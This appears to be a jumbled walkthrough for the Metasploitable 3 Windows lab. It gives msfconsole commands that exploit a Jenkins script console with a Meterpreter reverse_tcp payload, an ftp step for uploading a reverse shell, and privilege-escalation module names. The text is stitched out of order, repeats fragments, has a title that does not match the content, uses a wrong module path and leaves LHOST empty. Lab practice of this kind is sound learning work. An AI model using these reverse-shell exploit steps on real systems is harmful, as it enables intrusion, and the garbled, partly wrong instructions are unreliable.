Metasploitable 3 (Windows) Write-up — Part [I]: FTP (PORT 21)

This section highlights three distinct vectors to gain an initial foothold on the system. Vector A: Exploiting Jenkins (Port 8484)

Older versions of Jenkins are highly vulnerable to RCE via vulnerabilities like CVE-2017-1000353 or simply via the built-in Groovy script console if access control is disabled. In msfconsole , search for Jenkins exploit modules: use exploit/multi/http/jenkins_script_console Use code with caution. Configure the target settings:

use exploit/subversion/jenkins_script_console set RHOSTS 10.0.2.15 set RPORT 8484 set payload windows/meterpreter/reverse_tcp set LHOST run Use code with caution. This yields an alternative initial access vector. 4. Privilege Escalation to SYSTEM

Ensure the VM is set to Host-Only or NAT Network to keep it isolated from the internet . 2. Reconnaissance (Information Gathering) metasploitable 3 windows walkthrough

Run vagrant up win2k8 to build and start the Windows VM (this may take 30–60 minutes) . Default login is vagrant / vagrant .

Walkthroughs often highlight specific high-value services that serve as entry points: Metasploitable 3 (Windows) Write-up — Part [I]: FTP

Search the Administrator desktop, registry keys, and root directories for hidden flags or configuration files containing hardcoded developer credentials.

ftp <target_IP> # Use the discovered credentials to list directories, download files, or upload a reverse shell

Common locations include the Administrator's Desktop, the root directory ( C:\ ), or deep within web server application directories.

Isolate your virtual lab environment on an internal host-only or NAT network to ensure these insecure legacy services remain completely inaccessible from the public internet. Privilege Escalation to SYSTEM Ensure the VM is

The module will return a list of potential kernel vulnerabilities, such as ms16_032_secondary_logon_handle or ms15_051_client_copy_image . Exploiting Named Pipe Impersonation (Token Theft)

Then perform a ping sweep to discover the Windows target:

This exploit allows a local user to escalate to SYSTEM by leveraging the NetNTLMv1/v2 authentication replay.
